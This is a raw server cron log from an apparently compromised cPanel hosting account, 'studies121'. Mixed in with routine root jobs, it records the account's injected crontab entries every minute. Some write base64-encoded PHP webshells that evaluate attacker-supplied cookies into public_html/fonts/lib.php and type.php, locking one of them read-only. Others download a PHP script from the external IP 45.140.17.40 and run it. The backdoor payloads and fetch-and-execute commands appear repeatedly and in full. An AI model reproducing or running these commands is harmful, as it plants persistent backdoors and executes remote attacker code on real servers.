Sep  6 02:06:01 ip-184-168-122-23 CROND[27699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:06:01 ip-184-168-122-23 CROND[27700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:06:01 ip-184-168-122-23 CROND[27702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:06:01 ip-184-168-122-23 CROND[27701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:07:01 ip-184-168-122-23 CROND[27780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:07:01 ip-184-168-122-23 CROND[27781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:07:02 ip-184-168-122-23 CROND[27784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:07:02 ip-184-168-122-23 CROND[27782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:08:01 ip-184-168-122-23 CROND[27864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:08:01 ip-184-168-122-23 CROND[27867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:08:01 ip-184-168-122-23 CROND[27866]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:08:01 ip-184-168-122-23 CROND[27865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:08:01 ip-184-168-122-23 CROND[27868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:09:01 ip-184-168-122-23 CROND[28023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:09:01 ip-184-168-122-23 CROND[28026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:09:01 ip-184-168-122-23 CROND[28025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:09:01 ip-184-168-122-23 CROND[28027]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 02:09:01 ip-184-168-122-23 CROND[28024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:10:01 ip-184-168-122-23 CROND[28115]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 02:10:01 ip-184-168-122-23 CROND[28118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:10:01 ip-184-168-122-23 CROND[28120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:10:01 ip-184-168-122-23 CROND[28121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:10:01 ip-184-168-122-23 CROND[28119]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:10:01 ip-184-168-122-23 CROND[28124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:10:01 ip-184-168-122-23 CROND[28125]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:10:01 ip-184-168-122-23 CROND[28129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:11:01 ip-184-168-122-23 CROND[28294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:11:01 ip-184-168-122-23 CROND[28296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:11:01 ip-184-168-122-23 CROND[28295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:11:01 ip-184-168-122-23 CROND[28297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:12:01 ip-184-168-122-23 CROND[28378]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:12:01 ip-184-168-122-23 CROND[28380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:12:01 ip-184-168-122-23 CROND[28381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:12:01 ip-184-168-122-23 CROND[28383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:12:01 ip-184-168-122-23 CROND[28382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:13:01 ip-184-168-122-23 CROND[28471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:13:01 ip-184-168-122-23 CROND[28472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:13:01 ip-184-168-122-23 CROND[28474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:13:01 ip-184-168-122-23 CROND[28473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:14:01 ip-184-168-122-23 CROND[28565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:14:01 ip-184-168-122-23 CROND[28568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:14:01 ip-184-168-122-23 CROND[28564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:14:01 ip-184-168-122-23 CROND[28567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:14:01 ip-184-168-122-23 CROND[28566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:15:01 ip-184-168-122-23 CROND[28667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:15:01 ip-184-168-122-23 CROND[28668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:15:01 ip-184-168-122-23 CROND[28671]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:15:01 ip-184-168-122-23 CROND[28669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:15:01 ip-184-168-122-23 CROND[28674]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:15:01 ip-184-168-122-23 CROND[28675]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 02:15:01 ip-184-168-122-23 CROND[28676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:16:01 ip-184-168-122-23 CROND[28849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:16:01 ip-184-168-122-23 CROND[28852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:16:01 ip-184-168-122-23 CROND[28854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:16:01 ip-184-168-122-23 CROND[28855]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:16:01 ip-184-168-122-23 CROND[28853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:16:01 ip-184-168-122-23 CROND[28856]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 02:17:01 ip-184-168-122-23 CROND[28938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:17:01 ip-184-168-122-23 CROND[28939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:17:01 ip-184-168-122-23 CROND[28941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:17:01 ip-184-168-122-23 CROND[28940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:18:01 ip-184-168-122-23 CROND[29020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:18:01 ip-184-168-122-23 CROND[29022]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:18:01 ip-184-168-122-23 CROND[29023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
